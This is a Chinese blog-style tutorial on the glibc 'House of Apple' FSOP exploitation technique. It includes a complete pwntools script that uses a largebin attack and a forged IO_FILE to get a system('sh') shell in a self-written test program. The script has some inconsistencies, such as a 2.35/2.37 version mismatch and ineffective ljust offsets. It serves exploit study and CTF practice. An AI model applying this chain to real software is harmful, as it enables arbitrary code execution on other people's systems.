在2.35版本下触发house of apple的条件有几个:
1,main函数返回
2,exit函数
3,malloc_assert
其中main函数返回和exit函数都会调用fcloseall函数,调用链如下:
_IO_cleanup
_IO_flush_all_lockp
_IO_flush_all_lockp+223
_IO_wfile_overflow(或其他函数)
_IO_wdoallocbuf
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

在这里插入图片描述
在标注的那行当我们通过了前面的检查系统会进行一次宏调用
也就是*(虚表 地址+ 0x18)的函数如图所示
在这里插入图片描述
预定的函数被拉起来了(以_IO_wfile_overflow为例)
然后进入_IO_wdoallocbuf
在这里插入图片描述
在这里插入图片描述

接着我们利用wide_data对虚表检查机制不完善,控制_wide_data以及
*(_wide_data + 0x68)在可控范围内达到任意执行函数的目的。
在这里插入图片描述
如图所示system函数成功执行

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)//here to call the function

if内即为拉起宏调用所需条件
注意如果欲控制rdi获得shell,_flag需要为
b’ sh;’ + p64((~(2 | 0x8 | 0x800))&0xffffffffffffffff)
接下来展示示例代码 测试程序为笔者自行编写读者可寻其他可用程序进行测试

from pwn import *

p=process('./pwn')
libc = ELF('/glibc/x64/2.37/lib/libc.so.6')

def add(size,data):
 p.recvuntil(b'Enter choice:')
 p.sendline(b'1')
 p.recvuntil(b'size:')
 p.sendline(str(size).encode())
 p.sendline(data)
 
def free(idx):
 p.recvuntil(b'Enter choice:')
 p.sendline(b'2')
 p.recvuntil(b'id:')
 p.sendline(str(idx).encode())
def edit(idx,data):
 p.recvuntil(b'Enter choice:')
 p.sendline(b'3')
 p.recvuntil(b'id:')
 p.sendline(str(idx).encode())
 p.recvuntil(b'input:')
 p.sendline(data)
def show(idx):
 p.recvuntil(b'Enter choice:')
 p.sendline(b'4')
 p.recvuntil(b'id:')
 p.sendline(str(idx).encode())
def gd():
 gdb.attach(p)
 pause() 
libc_base = int(p.recv(14),16) - libc.sym['puts']
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']
print(hex(libc_base))
add(0x420,b'a')
add(0x438,b'a')
add(0x418,b'a')
free(1)
add(0x440,b'a')
edit(1,b'a' * 0x10)
show(1)
p.recvuntil(b'a' * 0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x20a
io_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(heap_base))
free(3)

fake_IO_FILE = p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) + p64(1)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(0)  #nothing
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(0) #nothing
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)  
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(io_wfile_jumps)  
fake_IO_FILE = fake_IO_FILE.ljust(0xc8,b'\x00') + p64(heap_base + 0x6c0)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00') + p64(heap_base + 0xc00)#_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0x1d0,b'\x00') + p64(heap_base + 0xce0)#_wide_data_vtable
fake_IO_FILE += b'\x00' * 0x60 + p64(sys_addr)#func 
add(0x418,b'a')
free(5)
edit(1,p64(libc_base + 0x1d20d0) * 2 + p64(heap_base + 0x290) + p64(io_list_all_addr - 0x20))
add(0x440,b'a')
edit(3,fake_IO_FILE)
add(0x430,b'a')
add(0x430,b'a')
add(0x430,b'a')
free(6)
add(0x450,p64(0) + p64(1))
free(8)
edit(2,b'a' * 0x430 + b'  sh;' + p64((~(2 | 0x8 | 0x800))&0xffffffffffffffff))
gd() 

p.interactive() 
p.sendline(b'5')

令人遗憾的是2.37版本里面的malloc_assert 修改了排除了从malloc_assert触发house of apple2的可能
2.35
在这里插入图片描述
2.37
在这里插入图片描述

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐